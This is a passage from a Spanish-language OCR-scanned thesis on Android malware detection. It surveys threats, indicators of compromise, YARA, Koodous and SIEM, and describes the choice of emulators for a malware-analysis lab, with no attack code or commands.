seguridad para Smartphone: ¢cémo configurar tu Android de la forma mas segura?” elaborada
en el afio 2014, por la empresa de seguridad informética ESET. En esta guia se observan las
cifras del mercado de plataformas moviles, evidenciando que el sistema operativo Android es el
mas utilizado en todo el mundo, por lo cual la guia apunta a explicar los aspectos mas importantes
a tener en cuenta a la hora de hacer las configuraciones de seguridad pertinentes en esta
plataforma, de modo que se puedan prevenir incidentes como ataques informéaticos y robo de
informacion. (ESET, 2014) .

Otra investigacion que analiza las debilidades que pueden presentarse en el sistema operativo
Android y presenta recomendaciones a los usuarios de estos dispositivos con el objetivo de
prevenir ataques que puedan permitir el robo, manipulacion o pérdida de la informacion que con
estos dispositivos se pueda manejar, es la monografia titulada “Seguridad en dispositivos méviles
Android” realizada en la Universidad Nacional Abierta y a Distancia UNAD Escuela de Ciencias
Bésicas, Tecnologia e Ingenieria especializacién en seguridad informética, en el afio 2015. Las
pruebas de este trabajo fueron realizadas en la version de Android 4.4 Llamada Kit Kat. (Betancur
& Eraso, 2015)

Aplicacion de politicas de seguridad basadas en el estandar ISO 17799 | 18 (ISO/IEC, 2005) Una
vez revisada la literatura se ha evidenciado que los proyectos realizados se enfocan en explicar
los riesgos que presentan los dispositivos maviles, analizando aspectos técnicos de los mismos,
detallando el funcionamiento de dichos riesgos sin tener en cuenta la responsabilidad del usuario
en el manejo de la informacion mediante el dispositivo movil.

2.3.6 Android GO

Mediante Android GO, anunciada en la conferencia Google /0O de 2017 y centrada en el
software para complementar la antigua iniciativa Android ONE del afio 2014, mas centrada en el
hardware se pretende ofrecer actualizaciones de manera mas agil y continuada para dispositivos
moviles de bajo coste, incluso pese a la existencia de personalizaciones de los fabricantes,
adicionales a otras caracteristicas. Android GO proporciona las capacidades de seguridad y
proteccion de Google Play Protect (GPP) a los dispositivos méviles bajo su @mbito. Durante 2017,
Google ha llevado a cabo la integracién de multiples de sus servicios y plataformas de seguridad
bajo un mismo “paraguas”. Google Play Protect aln a mdltiples capacidades y servicios
previamente disponibles de manera individual en Android, como Verify Apps, Find My Device,
Google Bouncer, Android Device Manager, SafetyNet, Google Safe Browsing (en Chrome), el
servicio de reCAPTCHA, etc.
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El objetivo es proporcionar un conjunto de servicios comunes para los dos billones de usuarios
gue hacen uso de Android a diario y proteger los dispositivos moviles, aplicaciones y los datos
de los usuarios frente a las ultimas amenazas de seguridad. Entre estos servicios se incluye, por
ejemplo, el analisis y escaneo de mas de 50 billones de aplicaciones diariamente. Estos nUmeros
permiten hacerse una idea del volumen y complejidad del ecosistema mévil actual, en este caso,
solo de Android (CCN, 2013).
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3 Malware en Android

(Malicious Mobile Threats Report., 2011) (Feizollah, Anuar, Salleh, & Wahab, 2015) malware
es cualquier tipo de software o codigo de programa hostil, intrusivo o disefiado para usar un
dispositivo sin el conocimiento del propietario. La evolucion y proliferacién del malware en
dispositivos moviles esta intimamente ligada al aumento de sus capacidades de red y recursos
informaticos. Asi, se tienen evidencias de que el primer malware para moviles fue desarrollado
en 2004 para atacar a dispositivos Symbian. Sin embargo, es a partir de 2010 cuando empieza
a crecer significativamente, estando dedicado principalmente a los sistemas Android u iOS.

La empresa de seguridad G DATA asegura que en 2017 fueron detectados mas de 3 millones
de malware lo que corresponde a 343 amenazas por hora (Lueg, 2018). La
Figura 3-1 muestra el crecimiento de amenazas de malware para Android por afio

3,246,284 o

2,333,777
1,548,129
1,192,035
——— - I

2011 2012 2013 2014 2015 2016 2017

Figura 3-1. Amenazas de malware para Android detectadas por afio. (Fuente: G DATA Security, 2018).

Para analizar los ataques y sus tipos, se deben tener en cuenta tres perspectivas:
comportamiento y objetivos, formas de distribucion del malware y métodos de adquisicion de
privilegios.
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3.1 Comportamiento y objetivos del ataque

En la mayoria de los casos el malware persigue varios objetivos y ademas su propadsito y
comportamiento puede variar por medio de una orden remota emitida por quienes lo controlan.
El méas comun de sus objetivos es el beneficio econdmico. En este sentido se pueden encontrar
ejemplos varios, como en el caso del fraude u overbilling. Este ataque consiste en cargar gastos
a la cuenta de la victima (que son transferidos a la del atacante) por medio de llamadas o SMS
enviados a numeros de tarificacion adicional sin el consentimiento del usuario. Habitualmente, el
usuario relaciona este tipo de ataques con un conflicto con la compafia proveedora del servicio,
pasando por alto su verdadera naturaleza (Teufl et al., 2006).

(Burguera et al., 2011; Racic, Ma, & Chen, 2006) Otro tipo de ataque es la denegacion de
servicio o sabotaje, el llamado ataque DoS (del inglés Denial of Service) que trata de consumir
la bateria del dispositivo limitando su tiempo de operacion, o bien de negarle al usuario el acceso
a determinados recursos o redes. Cuando se ejecuta de forma distribuida (DDoS), puede
ocasionar perjuicios no sélo a uno o varios usuarios, sino incluso a diversas organizaciones. Por
ejemplo, se puede llegar a colapsar la conexidon a Internet de una zona o servidor si se empiezan
a enviar paquetes masivos a una red.

Por ultimo, se puede tratar de comprometer la privacidad del usuario por medio de la técnica
llamada sniffing, la cual aprovecha los datos que recogen los sensores y las redes de las que
hace uso el dispositivo, pudiendo obtener imagenes, grabaciones telefonicas, contrasefas,
mensajes de correo electrdnico, datos bancarios o cualquier tipo de informacién que maneje,
envie o reciba el dispositivo.

Esta es una de las amenazas mas preocupantes para los usuarios u organizaciones, puesto que
en los dispositivos mdviles se almacenan y se tratan datos privados y clasificados, tanto
personales como empresariales. La Figura 3-2 muestra tipos de ataques por sistema operativo
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Figura 3-2. Tipos de Ataques por sistema operativo. (Fuente: Heras. C & Sierra. L, 2015).
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3.2 Adquisicion de Privilegios

(Shabtai et al., 2016) Para que el malware sea efectivo no es suficiente con que se propague
al dispositivo, también tiene que conseguir una serie de privilegios para poder acceder a las
partes criticas del sistema y realizar las acciones necesarias para ejecutar su labor.
Habitualmente, estos privilegios son directamente concedidos por los usuarios al instalar
aplicaciones en apariencia legitimas pero que esconden algun comportamiento malicioso. Los
usuarios no son conscientes de la repercusion de transferir determinados permisos a programas
desconocidos y, en ocasiones, ni tan siquiera prestan atencién a las peticiones para su
autorizacion.

(Davi, Dmitrienko, Sadeghi, & Winandy, 2011) Otro procedimiento basado en la tecnologia
consiste en la explotacién de las vulnerabilidades o errores en la configuracion de la plataforma.
Se utilizan rootkits para detectar de qué forma se pueden aprovechar dichos errores. Este tipo
de malware infecta el sistema operativo, por lo que puede ser considerablemente peligroso v,
ademas, deja la puerta abierta a futuras infecciones

Por lo tanto, este método es altamente eficaz, tal y como se muestra en la Figura 3-3 es posible
adquirir privilegios por error del usuario o del sistema operativo

LLLIL-

Symbian Andro Iphone Windows

Figura 3-3. Formas de Adquisicion de Privilegios por usuario o error del sistema por sistema operativo.
(Fuente: Heras. C & Sierra. L, 2015).

3.3 Virus y Malware en Moviles Android

(Kaspersky-LABS, n.d.) Con el aumento del numero de personas que utilizan sus
Smartphones y tablets para navegar por la Web, actualizar los sitios de redes sociales y comprar
y realizar transacciones bancarias online, los cibercriminales y el malware centran cada vez mas
sus ataques en los dispositivos moviles, con la consecuente aparicion de nuevas amenazas para
Smartphones y amenazas moviles.
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Los dispositivos Android "estan siendo atacados”

Durante el afio 2012, el 99 % de todo el malware de méviles detectado por Kaspersky Lab se
habia disefiado con la plataforma Android como objetivo. Durante ese afio, los expertos en
seguridad en Internet de Kaspersky identificaron mas de 35 000 programas malintencionados
dirigidos a Android.

Las razones del gran aumento del malware dirigido a Android son las siguientes:

¢ La plataforma Android se ha convertido en el sistema operativo mas utilizado en los
Smartphones, con una cuota de mercado del 85,9% en el primer cuarto del 2018
(Gartner, 2018).

e La naturaleza de plataforma abierta del sistema operativo Android, la facilidad con la
gue se pueden crear las aplicaciones y la amplia variedad de mercados de
aplicaciones no oficiales que existen influyen de manera significativa en la seguridad.

¢Qué tipos de amenazas afectan actualmente a los dispositivos Android?

(Kaspersky-LABS, n.d.) Los objetos maliciosos mas comunes detectados en Smartphones
Android pueden dividirse en tres grupos principales:

Virus troyanos por SMS, Médulos de publicidad y exploits para obtener acceso de usuario
administrador a Smartphones.

Se ha detectado la existencia de malware en las tiendas de aplicaciones. Durante el afio 2012,
Kaspersky detecté programas maliciosos en Google Play, la tienda de aplicaciones de Amazon
y otras tiendas de aplicaciones de terceros.

Riesgos de seguridad asociados a las operaciones bancarias online para los usuarios de
Android

(Santoma4, 2004) Los bancos y sistemas de pago electrénico ofrecen varias formas de proteger
las transacciones de los usuarios, entre las que se incluyen la utilizacion de tokens electronicos
y contrasefias de un solo uso, la confirmacion de transacciones a través de cédigos enviados al
teléfono, etc.

No obstante, los cibercriminales estan desarrollando programas que burlan estas medidas. Por
ejemplo, la familia de programas Zitmo esta disefiada para atacar el teléfono mévil de un usuario
y burlar los sistemas de autenticacion de dos factores utilizados por los bancos europeos. Estos
programas maliciosos para mdviles funcionan de forma conjunta con Zbot (ZeuS):

e En primer lugar, Zbot roba el nombre de usuario y la contrasefia para acceder al
sistema bancario online desde el computador infectado.

e A continuacion, durante una transferencia de dinero, Zitmo (el homélogo para moviles
de Zbot) entra en accion y reenvia el cédigo de autorizacion de la transaccion (TAN,
del inglés "Transaction Authorisation Code") a los cibercriminales.


https://www.kaspersky.es/internet-security-center/threats/trojans
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3.3.1 Incidentes de Ciberseguridad en Smartphone con sistema operativo
Android

Dada la popularidad del sistema operativo Android de manera informal se tiene noticias de
incidentes de ciberseguridad registrados en foros de diferentes revistas y por fabricantes de
software de seguridad. En el Anexo A se presentan algunas noticias relevantes de
vulnerabilidades de la plataforma explotadas entre el 2013 y el 2017.
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4 Deteccidon de malware

Para el primer trimestre del 2018 Android es el sistema operativo mas usado en dispositivos
moviles incluidos teléfonos inteligentes como se ve en la Figura 4-1

Worldwide Smartphone Sales to End Users by Operating System in 1Q18 (Thousands of Units)

Operating System 1Q18 1Q18 Market 1Q17 1Q17 Market
Share (%) Share (%)

Units Units
Android 329,313.9 859 325,900.9 86.1
i0s 54,058.9 141 51,9925 13.7
Other OS 1311 0.0 607.3 0.2
Total 383,503.9 100.0 378,500.6 100.0

Source: Gartner (May 2018)

Gartner clients can read more in the Gartner report titled “IMarket Share: Final PCs,_Ultramobiles and Mobile Phones, All Countries,
1Q18 Update.”

Figura 4-1. Dispositivos por sistema operativo en el mundo. (Fuente: Gartner, 2018).

(Villanova-Pascual, 2016) Muestra en su tesis que la plataforma ha sido un foco para los
desarrolladores de Malware ya que en ella tienen la posibilidad de llegar a un gran nimero de
victimas, presenta el modelo de seguridad del fabricante de Android y las tecnologias de
deteccion desarrolladas por fabricantes reconocidos de software de seguridad, luego hace una
seleccién y evaluacién de herramientas de prevencion existentes en el mercado, con un conjunto
también seleccionado de muestras de malware. El autor busco determinar si los controles son
eficientes para la deteccion de malware y verificar si afectan el rendimiento del equipo en cuanto
a consumo de CPU, memoria y duracién de la bateria. Se destaca el resultado de que ninguna
solucion reconocié el 100% de las muestras de malware, por lo que en el estudio el autor
concluye que no existe seguridad total, independientemente de si las herramientas son pagas o
no. Finalmente concluye que el malware en Android no para de crecer, que hay muchos tipos de
malware y que las mdultiples medidas de seguridad de Google son adecuadas en muchos
aspectos y en otros no mostrando sus ventajas y desventajas



20 Deteccién de malware en Android a
partir de la correlacion de eventos

4.1 Indicadores de compromiso I0Cs

(Trend-Micro, n.d.) Los indicadores de compromiso son definidos como artefactos forenses
gue se utilizan como signos de que un sistema ha sido comprometido por un atacante o que ha
sido infectado por un software malicioso en particular. Estos eventos pueden ser conexiones de
red a direcciones no conocidas, procesos desconocidos, firmas de dudosa procedencia o
cualquier cosa que pueda revelar un comportamiento anormal del sistema.

Atendiendo a las cifras, la situacion actual en el ambito de la seguridad informatica, en lo que a
amenazas se refiere, resulta bastante inquietante:

e Hay alrededor de 170 millones de muestras de malware, de las cuales cerca de 70
millones han surgido en 2013.

e En el afo 2012 el numero de ficheros correspondientes a malware firmados
digitalmente alcanzé los 2 millones.

e El cibercrimen ha generado pérdidas de 87.000 millones de euros en 2013.

o Kaspersky en el tercer trimestre del 2013 ha catalogado mas de 120.000 muestras de
malware para moviles.

e McAfee cataloga diariamente mas de 100.000 muestras e identific6 200 nuevos
ciberataques por minuto en 2013.

Es por ello que el enorme volumen de amenazas correspondientes a malware que surgen
diariamente y la sofisticacion de las mismas, como es el caso de las “Advanced Persistent
Threats” o APTs, ha provocado la blsqueda de nuevas vias para proteger los sistemas y para
poder comprobar si estos se han visto comprometidos, al quedarse las protecciones
convencionales obsoletas.

Los Indicadores de Compromiso, “Indicators of Compromise” o I0Cs, hacen referencia a una
tecnologia estandarizada que consiste en definir las caracteristicas técnicas de una amenaza por
medio de las evidencias existentes en un equipo comprometido, es decir, se identifican diferentes
acciones como ficheros creados, entradas de registro modificadas, procesos o servicios nuevos,
etc. de manera que puedan servir para identificar otros equipos afectados por la misma amenaza
o prevenirlos de la misma.

De este modo, es posible realizar un intercambio sencillo y practico de informacién con otras
personas y grupos de gestion de incidentes e implementar las firmas en diferentes herramientas
como:
e Sistemas de deteccidn de intrusiones, “Intrusion Detection System” o IDS.
¢ Sistemas de prevencion de intrusiones, “Intrusion Prevention System” o IPS.
Sistema de deteccion de intrusiones en un Host, “Host-based intrusion detection
system” o HIDS.
e Sistema de prevencion de intrusiones en un Host, “Hostbased Intrusion Prevention
System” o HIPS.
e Firewalls

El valor real de la tecnologia radica precisamente en ese intercambio de informacion ya que
permite generar y compartir conocimiento a partir de analisis forenses, respuesta a incidentes o
analisis de malware. IOC Bucket es uno de los repositorios de IOCs mas conocidos que puede
servir como fuente de conocimiento y por tanto utilizar los 10Cs disponibles para proteger un
sistema.


http://www.av-test.org/en/statistics/malware/
http://www.scmagazine.com/the-state-of-malware-2013/slideshow/1255/
http://www.rtve.es/noticias/20131105/cibercrimen-generado-perdidas-87000-millones-euros-ultimo-ano/784565.shtml
http://www.securelist.com/en/analysis/204792312/IT_Threat_Evolution_Q3_2013
http://www.mcafee.com/au/resources/reports/rp-quarterly-threat-q1-2013.pdf
http://mcaf.ee/qw7fe
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Existen varios sistemas estandarizados de intercambio de este tipo de informacion, es decir,
varias definiciones sobre como deben documentarse los indicadores de compromiso. Algunos de
los mas conocidos son enumeracion y caracterizacion de atributos de software malintencionado
o “Malware Attribute Enumeration and Characterization” MAEC. (Martinez, 2014)

4.1.1 10Cs para Android

En el caso del Malware en Android, basado en el articulo “A review on feature selection in
mobile malware detection” (Feizollah et al, 2015) los indicadores de compromiso potenciales se
pueden ubicar en cuatro categorias: Estaticas, dinamicas, hibridas y metadatos. La Tabla 4-1
muestra las cuatro categorias de I0Cs para el sistema operativo Android

Tabla 4-1 Indicadores de Compromiso para Android.

Estaticas Son las caracteristicas pertenecientes al archivo APK de la
aplicaciéon, como son el manifiesto de permisos, las conexiones de red
0 el cadigo en lenguaje Java.

Dinamicas Son la representacion del comportamiento de la aplicacion luego de
ser instalada y en el momento de ser ejecutada, incluye el
comportamiento con el sistema operativo o con la red.

Hibridas Son una combinacién de las caracteristicas estéticas y dinamicas.
Son las caracteristicas mas comprensibles porque analizan las
aplicaciones desde varios aspectos.

Metadatos Consiste en los metadatos pertenecientes a la aplicacion como
puede ser la informacion en Google Play.

Fuente: (Feizollah, Anuar, Salleh, & Wahab, 2015).

describe los tipos de I0OCs para teléfonos inteligentes que pertenecen a cada categoria descrita
en la Tabla 4-1.

| lava Code I-—-{ Static Features I-— Natwork Traffic
Dynamic Features
e
Mobile Malware
Network Address  f+—] Eate User Intaractions
k4 Applications Metadata Features
HArdwars Camponwats Application Description
A Group of Static and Creator 1D

Dynamic Foatures  © | Hybrid Features =

Application Category

Figura 4-2. Taxonomia de las Caracteristicas del malware para moviles. (Fuente: Feizolla et al, 2015).
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4.2 Aplicaciones para detectar I0Cs

En esta seccion se describen las dos aplicaciones para smartphone con sistema operativo
Android que se seleccionaron y probaron para monitorear y detectar IOCs para este proyecto

4.2.1 Package Info

Funciona en todos los dispositivos Android. Muestra los permisos y los metadatos de las
aplicaciones instaladas en su teléfono inteligente.

Caracteristicas principales:

Muestra los detalles del paguete de cada aplicacidn, tales como el nombre del paquete,
fecha de instalacién y de actualizacién, el consumo de datos, tamafio de la aplicacion,
etc.

Indica si esta aplicacion aparece como programa de relleno de la comunidad de
usuarios.

Informacion detallada de version de la aplicacion, el cédigo de version, SDK de destino
utilizado.

Todos los permisos usados por el paquete estan en la lista.

Los servicios utilizados por la aplicacion.

Muestra receptores de Android y la informacién de biblioteca compartida.

Nombre de paquete o el nombre de la aplicacion.

Capacidad para compartir la informacion detallada de un paquete a otros a través de
correo electronico, carbén, etc.

Relne mas informacién acerca de la aplicacion de busqueda a través de Google.
Capacidad para ejecutar y configurar aplicaciones.

Informacién de sistema

Nombre del fabricante, modelo, nimero de serie, ID de dispositivo.

version de Android, la construccion y el estado ARRAIGADO.

Informacion de la pantalla (resolucion, densidad, DPI, pixeles / pulgada cuadradas)
Informacion de Procesador (detalles de cada procesador, arquitectura de la CPU,
variante, revision).

Informacion de red (Wi-Fi MAC, IP v4, la direccién IP v6, codigo de pais, IMEI, nUmero
de serie SIM, MCC, MNC).

Informacion de los sensores (lista de todos los sensores en el dispositivo).

Memoria interna y los detalles de almacenamiento externo.

Bateria, porcentaje de bateria, estado de carga, temperatura, voltaje, la capacidad, la
tecnologia de baterias. (Google Play, n.d.-b)

4.2.2 Network Connections

Herramienta que permite ver y monitorear toda conexién de entrada y salida desde y hacia su
dispositivo Android. Con un modulo de conexiones de bajo nivel de captura asegura el mejor
rendimiento con un minimo uso de la bateria. Funciona en teléfonos no root.
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Caracteristicas principales:

e Supervisa todas las conexiones a Internet desde y hacia su dispositivo Android
notificando cuando aplicaciones ocultas se conectan a servidores remotos.

e Muestra informacién detallada IP para cada conexion - la direccién IP, la resolucién
inversa (PTR), numero de AS, de abuso de datos RBL, informacion administrativa, etc.

¢ Obtiene informacidn detallada acerca de cada aplicacién que se conecta a los servidores
remotos y conexiones de red utilizadas por ella - permisos concedidos a cada paquete
capturado y todas las direcciones IP utilizadas por ella.

e Entiempo real ordena por frecuencia de actividad, las Ultimas conexiones o por nombres
de paquetes.

e Registra y exportar los datos capturados.

La version gratuita limita algunas caracteristicas incluyendo periodo de conexiones, exportar 10
conexiones capturadas y el numero de direcciones IP se limitan a cierta cantidad de intentos.
(Google Play, n.d.-a)

4.3 Firmas digitales de aplicacion

Una firma digital es un esquema matematico para la representacion de la autenticidad de
mensajes 0 documentos digitales. Una firma digital valida le da al receptor la confianza de que
el mensaje fue creado por un remitente conocido (Autenticacion) y que el mensaje no fue alterado
en el camino de entrega (Integridad) (Katz, 2010)

El sistema operativo Android utiliza un mecanismo de firmas digitales que le permite al usuario
final identificar quién es el desarrollador de las aplicaciones que instala. Este mecanismo
funciona utilizando una clave privada perteneciente a cada desarrollador con la que a través de
célculos matematicos se genera un certificado y una llave digital los cuales proveen una firma
encriptada, Unica e inalterable.

(Elenkov, 2015) Al concluir el proceso de firmado de las aplicaciones, dentro del archivo de la
aplicacion (APK) sé almacena el directorio META-INF en donde se encuentran los archivos
MANIFEST.MF y CERT.SF. El primer archivo almacena el SHA-1 Digest y la ruta de cada fichero
contenido dentro del APK excluyendo todo lo contenido en el directorio META-INF. El segundo
archivo CERT.SF o comunmente conocido como el archivo de firma contiene al igual que
MANIFEST.MF el SHA1 Digest de cada fichero, pero la diferencia es que incluye el Digest
perteneciente al archivo MANIFEST.MF y CERT.RSA que es el SHA-1 Digest del archivo
CERT.SF pero generado con la clave privada del desarrollador. La Figura 4-3 muestra el
Procedimiento de firma de aplicaciones de Google Play

App signed with App signed with
upload key app signing key

Developer —| m ——» Google —] m —> User

Upload App signing
key key

Figura 4-3. Procedimiento de firma de aplicaciones de Google Play. (Fuente: Android Developers,
2018).
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La firma electrénica maovil permite incorporar una firma electronica con certificados sobre
documentos electronicos desde una tablet (iPad, tablets Android como Samsung Galaxy Tab o
Galaxy Note o BlackBerry PlayBook) o Smartphone (iPhone, Android, Windows Phone,
BlackBerry) con plena validez legal y cumpliendo los requisitos de la Ley de Firma electrénica.

El certificado digital en dispositivos Android reside sobre la tarjeta SD del dispositivo en versiones
anteriores a Android 4.0. A partir de la versidén 4.0, Android implementa Keychain (almacén de
certificados central).

4.4 Reglas YARA

(Alvarez, 2014) YARA es una herramienta orientada a (pero no limitada a) ayudar a los
investigadores de malware a identificar y clasificar muestras de malware. Con YARA se pueden
crear descripciones de las familias de malware (0 lo que sea que se quiera describir) basado en
los patrones textuales o binarios. Cada descripcion de la regla consiste en un conjunto de
cadenas o de expresiones booleanas las cuales determinan su l6gica. YARA provee un lenguaje
robusto basado en un reensamblaje de la sintaxis de C por lo cual es de facil uso y facil
aprendizaje, esta desarrollado con arquitectura multiplataforma, pero es cominmente usado
como una libreria integrable con el lenguaje Python.

Aunque YARA parezca una herramienta bastante sofisticada, posee varias limitaciones, esto
debido a que esta basado a través de la coincidencia de firmas, patrones y cadenas por lo que
se hace inutil en el momento de realizar detecciones que requieran de andlisis comportamental.

45 Koodous

Koodous es una plataforma colaborativa para la investigacion de malware de Android que
combina la capacidad de las herramientas de andlisis en linea con las interacciones sociales
entre los analistas en un gran repositorio de APK. Permite a los usuarios escribir sus propias
reglas de deteccidén con lenguaje YARA e implementa varias librerias como: Androguard, una
herramienta para realizar analisis estético a las aplicaciones de Android, permitiendo obtener la
metadata mas relevante como son, nombre del paquete, nombre de la aplicacién, permisos,
actividad, servicios, SHA-1 del certificado, entre otras; Droidbox, una herramienta que permite
hacer andlisis dinamico a las aplicaciones de Android, permitiendo verificar si las aplicaciones
envian mensajes de texto, realizan llamadas a través de la red, acceden a librerias o leen y
escriben archivos; y file, un médulo que permite realizar coincidencias con el MD5, SHA-1y SHA
256 de los APK analizados.
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4.6 Correlacion de eventos

Uno de los pilares en los que se basa la gestion de riesgos de seguridad de la informacién es,
sin duda, el andlisis y la gestion de logs y la correlacion de eventos, lo que se entiende por SIEM.
La confluencia de este pilar de la seguridad con el de la gestion de identidades y accesos a
sistemas, redes y aplicaciones, la gestion de documentos y la gestién de evidencias, permitiria
al responsable de seguridad TIC alcanzar su objetivo especifico en la cadena de proteccion:
saber en tiempo real qué esta pasando en los sistemas tecnologicos que pueda ser relevante
para su seguridad, para la de la informacion que tratan, y, en definitiva, para el negocio y
actividades de su entidad. Las plataformas SIEM han tenido un desarrollo rapido en los dltimos
seis afios, y constituyen hoy la base de proyectos de obligado emprendimiento para cualquier
organizacion de cierta complejidad y bien gobernada. Sin embargo, los multiples canales de las
acciones fraudulentas y de los comportamientos no acordes con las politicas de seguridad, y el
enfoque de la proteccién como un proceso integrado que afecta a la seguridad TIC y a la
seguridad fisica, obliga a analizar con trazo fino cuando no a replantearse qué se quiere y puede
monitorizar, a qué nivel, con qué reglas de correlacion y para qué fines. Tal reflexion obliga a la
industria y a los desarrolladores a refinar sus herramientas para que se ajusten en lo posible a
las necesidades crecientes de los usuarios y a los requisitos legales. Conviene tener en cuenta,
al respecto, la tendencia hacia un escenario marcado por la centralizacibn de procesos
esenciales de seguridad en SOC y CERT, y hacia servicios con base en TIC fundamentados en
el uso de técnicas de virtualizacion y en XaaS y a ello se suma el uso intensivo de las tecnologias
de la informacién en la vigilancia tradicional. (Rey & Carlos, 2010, p2)
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5 Metodologia

Para alcanzar los objetivos planteados se propone una metodologia de busqueda,
experimentacion, desarrollo y documentacion. Las fases propuestas son:

5.1 Investigar técnicas de deteccidon de malware

A partir del estado del arte, en el Anexo A se construye una tabla comparativa con los
diferentes resultados de acuerdo con las técnicas de deteccion de malware. La Tabla 8-1,
Técnicas de deteccion en teléfonos inteligentes con Android, muestra ocho técnicas de deteccién
desarrolladas desde el afio 2012 hasta el primer semestre del afio 2018, lo que implica que el
campo de deteccidén de malware en Android es bastante estudiado, ya que esta es la plataforma
mas usada a nivel mundial para teléfonos inteligentes, por lo que también es la mas atacada por
los ciberdelincuentes que siempre estdn buscando diferentes formas para materializar sus
ataques. La

Figura 5-1 muestra, técnicas de deteccién de malware para Android desarrolladas entre los
afnos 2012 y 2018-1

Técnicas de deteccion de malware en Teléfonos inteligentes con Android entre el 2013 y el 2018-1

P P Andlisis de P Andlisis P
Andlisis de Andlisis de malware Andlisis remoto de Andlisis
Machine malware malware Andlisis Andlisis basado basado en
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(T.E. Wei et
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Android
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Detection via X
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Network
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(Y. Zhang et
al., 2013)
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android apps
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permission
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(Teufl etal.,
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Malware
detection by
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discovery X X
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metadata on
the Android
Market
(Google Play)

Figura 5-1. Fragmento de la Tabla 8-1 investigacion del Estado del Arte de técnicas de deteccion de
malware en Android para el periodo 2013-2018-1. (Fuente: Propia.)
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También en el Anexo A, en la Tabla 8-2, se muestran ocho debilidades de las técnicas de
deteccion en teléfonos inteligentes. Se pueden ver las debilidades de las técnicas de deteccion
expuestas en la tabla anterior, las cuales pueden ser utilizadas por los atacantes para
comprometer los dispositivos moviles. La Figura 5-2 muestra un fragmento de la Tabla 8-2.

Debilidades de las Técnicas de deteccidon de malware en Teléfonos inteligentes con Android entre el 2013 y el 2018-1

. Depende de
Requiere por
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una muestra o No se realiza N No incluye
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(T. E. Wei et
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Figura 5-2. Fragmento de la Tabla 8-2, investigacion del Estado del Arte de debilidades de las técnicas
de malware en Android para el 2013-2018-1. (Fuente: Propia).
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5.2 Analizar y seleccionar herramientas para monitorear

IOCs en Smartphone con sistema operativo Android

En esta seccidon se analizan y seleccionan los componentes del entorno de pruebas para el
desarrollo de la plataforma CAM: Dispositivos moviles, software de emulacion, aplicaciones entre
otros

5.2.1 Seleccién de dispositivos moviles o software de emulacion para la
implementacion del laboratorio de pruebas

Se buscaron estudios estadisticos de los dispositivos mdviles mas usados, las versiones del
sistema operativo Android mas usadas, las aplicaciones mas populares y se compararon tres
softwares de emulacion

Dispositivos moéviles Android mas usados

Segun (Delloite, 2017) en el reporte de consumo mévil en Colombia las 3 marcas de
dispositivos moviles con sistema operativo Android mas usados en el afio 2015 y 2016 son: 1.

Samsung, 2. Huawei y 3. Motorola, como se muestra en la Figura 5-3.

Tendencla de marcas méviles 2015-2016 Samsung, Huawel, Apple y Motorola, los dos
Enbos afios 2015 y 2016 las marcas lideres primeras aumentando su participacidn
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Figura 5-3. Tendencia de marcas mdviles 2015-2016. (Fuente: Delloite, 2017).



Metodologia 30

Versiones del sistema operativo Android mas usados

Segun Android Studio, software de desarrollo para el sistema operativo Android las 3
versiones mas usadas son: 4, 5y 6, como se en la Figura 5-4, por lo que en esta investigacion
se implementaran las tres versiones mas usadas, aunque se haran pruebas de compatibilidad
de aplicacion desarrollada con las versiones 7 y 8 del sistema operativo. (Google, 2018, p2).

ANDROID PLATFORM API LEVEL CUMULATIVE Ice Cream Sandwich
VERSION DISTRIBUTION
Contacts Provider Accessibility
4.0 15
Social APls Explore-by-touch mode

Jelly Bean 99,2% User profile Accessibility for views

Invite intent Accessibility services
96 0% Large photos Improved text-to-speech engine support
'

Jelly Bean
91 4% Calendar Provider User Interface
43 1 8 ' Calendar APls Spell checker services
Event intents Improved action bar
90’ 1% Grid layout
Kith at Veicemail Provider Tadrrare
Add voicemails to the device Switch widget
Improved popup menus
Multimedia System themes
Lollipop 71,3% Controls for system Ul visibility
Media effects for images and videos Hover event support
62 ' 6% Remote control client Hardware acceleration for all windows
Improved media player :
Lollipop Enterprise
Camera
VPN services
Face detection Device policies
Focus and metering areas Certificate management
39’3% Continuous auto focus i
Camera broadcast intents Device Sensors
Marshmallow Connectivity Improved sensors
Temperature sensor
Android Beamn for NDEF push with NFC Humidity sensor

Wi-Fi P2P connections
Bluetooth health profile
8, 1% Metwork usage and controls

1,5%

https://develeper.android.com/about/versions/android-4.0.htm|

Figura 5-4. Plataforma Android/Distribucion de la Version API. (Fuente: Android Studio).

Emuladores de dispositivos méviles Android

En este trabajo se buscaron emuladores de aplicaciones para dispositivos moviles Android y
se encontrd que las plataformas méas usadas son Genymotion, AVD y BlueStacks. Ademas, se
buscé informacién que contrastara estas plataformas para seleccionar la mas adecuada para el
entorno del laboratorio de analisis de malware.

(Gupta, 2017) realiz6 pruebas comparando las plataformas AVD y Genymotion tomando
como criterio la eficiencia de cada uno en el momento de realizar la emulacion de maquinas
virtuales con sistema operativo Android.

En el informe sé evidencia que AVD posee un rendimiento mayor cuando se corre en sistemas
con procesadores basados en arquitectura de 64bits, pero comprueba que Genymotion es mucho
mas eficiente al ejecutarlo en maquinas con procesadores multi-ntcleo, por lo que usaremos
Genymotion ya que la maquina en la que se implement6 el entorno de laboratorio es una maquina
Asus multi-ntcleo, con procesador Intel® Core i5, con una memoria RAM de 8GB y para el
almacenamiento, una unidad de estado sélido de 240GB. La Figura 5-5 muestra el rendimiento
de los emuladores por arquitectura utilizando el software Geekbench 4.
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Geekbench 4 (Higher is better)
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Figura 5-5. Comparacion del rendimiento de los emuladores para Android usando Geekbench 4 (Mas
alto es mejor). (Fuente: Gupta, 2017).

(Kearney, n.d.) Otra referencia de estudio se encuentra en la plataforma de rankings online
Slant donde se realiza una comparativa entre el uso de Genymotion y BlueStacks encontrandose
gue Genymotion es la mejor opcion en cuanto a emulacion de maquinas virtuales con sistema
operativo Android debido a que esta utiliza las librerias graficas de libre uso OpenGL
permitiéndole tener un mayor rendimiento. Esta caracteristica solo es comparable con el
asistente de ejecucion de hardware acelerado de Intel (HAXM) que posee AVD.

Ademas, se debe tener en cuenta que un requisito importante al trabajar en el andlisis de malware
es la capacidad de crear imagenes de estados anteriores de las maquinas de pruebas
(snapshots) con el fin de poder restaurar las maquinas a un estado anterior luego de hacer
pruebas con malware real.

Como se ha descrito en esta seccion, es claro que los dispositivos méviles mas usados son:
Samsung, Huawei y Motorola y las versiones del sistema operativo Android més usadas son la
4, 5y 6. Finalmente la plataforma de emulacién con méas ventajas y adecuada para el laboratorio
es Genymotion ya que brinda mayor rendimiento y permite generar snapshots del dispositivo
movil emulado los cuales son fundamentales para el analisis de malware.

Seleccion de aplicaciones para infectar

